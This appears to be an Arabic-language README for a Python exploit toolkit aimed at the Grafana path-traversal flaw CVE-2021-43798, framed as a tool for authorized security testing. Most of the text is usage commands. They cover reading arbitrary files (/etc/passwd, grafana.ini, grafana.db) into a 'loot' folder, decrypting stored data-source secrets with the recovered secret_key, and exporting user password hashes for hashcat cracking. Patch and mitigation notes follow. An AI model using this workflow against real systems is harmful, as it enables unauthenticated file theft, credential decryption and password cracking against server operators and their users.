
مجموعة أدوات بايثون للاختبار المصرح به لـ CVE-2021-43798 اجتياز المسار في Grafana، مع إثبات المفهوم (PoC) لقراءة ملفات عشوائية، وفك تشفير الأسرار، وتصدير هاش المستخدم لتقييمات الأمان.
مجموعة أدوات بايثون للاختبار المصرح به لثغرة CVE-2021-43798، وهي ثغرة اجتياز مسار في Grafana يمكن أن تسمح بقراءة ملفات عشوائية دون مصادقة عبر مسارات أصول الإضافات.
يحتوي هذا المستودع على:
grafana_poc.py: أداة إثبات مفهوم تفاعلية لقراءة الملفات العشوائية تحفظ الملفات التي تم تنزيلها محليًا.grafana_pass_decryptor.py: مساعد لفك تشفير أسرار مصدر بيانات Grafana المشفرة عند توفر grafana.ini و/أو secret_key، وتصدير تجزئات كلمات مرور مستخدمي Grafana من grafana.db.استخدم هذا المشروع فقط على الأنظمة التي تملكها أو تديرها أو لديك إذن كتابي صريح لاختبارها. يمكن أن يؤدي الاستغلال غير المصرح به إلى كشف ملفات حساسة وبيانات اعتماد ومفاتيح خاصة ومحتويات قواعد البيانات وتجزئات كلمات مرور المستخدمين.
تؤثر CVE-2021-43798 على إصدارات Grafana من 8.0.0-beta1 حتى 8.3.0. الإصدارات المصححة هي 8.3.1 و 8.2.7 و 8.1.8 و 8.0.7.
يمكن الوصول إلى المشكلة عبر مسارات أصول الإضافات مثل:
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>
تشمل الملفات الشائعة التي يتم طلبها أثناء التحقق المصرح به:
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline
يعتمد الوصول على أذونات نظام التشغيل لعملية Grafana.
requestspycryptodome أو cryptography لفك تشفير الأسرارتثبيت التبعيات:
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
شغّل أداة الإثبات التفاعلية ضد هدف مصرح به:
python3 grafana_poc.py -H http://target:3000 -o loot
عند الطلب، أدخل مسارات مطلقة:
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit
يتم حفظ الملفات التي تم تنزيلها تحت دليل الإخراج مع الحفاظ على نسخة آمنة من المسار البعيد، على سبيل المثال:
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db
إذا كان لديك كلا من grafana.ini و grafana.db، يمكن لأداة فك التشفير قراءة secret_key من ملف التكوين ومحاولة فك تشفير أسرار مصدر البيانات المشفرة وإشعارات التنبيه والإضافات:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db
فك تشفير كتلة مشفرة واحدة يدويًا:
python3 grafana_pass_decryptor.py \
--secret-key SW2YcwTIb9zpOOhoPsMm \
--blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
طباعة JSON مفصولة بأسطر جديدة:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--json
كلمات مرور مستخدمي Grafana ليست أسرارًا مشفرة. إنها تجزئات PBKDF2 مع إضافة الملح (salt). قم بتصديرها من جدول user:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--users
تصدير خطوط وضع hashcat 10900 فقط:
python3 grafana_pass_decryptor.py \
--db loot/var/lib/grafana/grafana.db \
--users \
--hashcat > hashes.txt
قم بترقية Grafana إلى إصدار مصحح:
8.3.1 أو أحدث للفرع 8.38.2.7 أو أحدث للفرع 8.28.1.8 أو أحدث للفرع 8.18.0.7 أو أحدث للفرع 8.0إذا لم يكن الترقية الفورية ممكنة، يشير تنبيه Grafana إلى أن وضع وكيل عكسي أمام Grafana يقوم بتطبيع مسارات الطلبات يمكن أن يخفف من سلوك الاجتياز. تعامل مع ذلك كإجراء مؤقت، وليس بديلاً عن التصحيح.
يُنسب إثبات المفهوم العام الأصلي إلى s1gh على Exploit-DB. سير عمل فك تشفير الأسرار في Grafana مستوحى من الأبحاث العامة والأمثلة من jas502n/Grafana-CVE-2021-43798، حيث يوفر هذا المستودع مساعد بايثون لبيئات المختبر وسير العمل التقييمي المصرح به.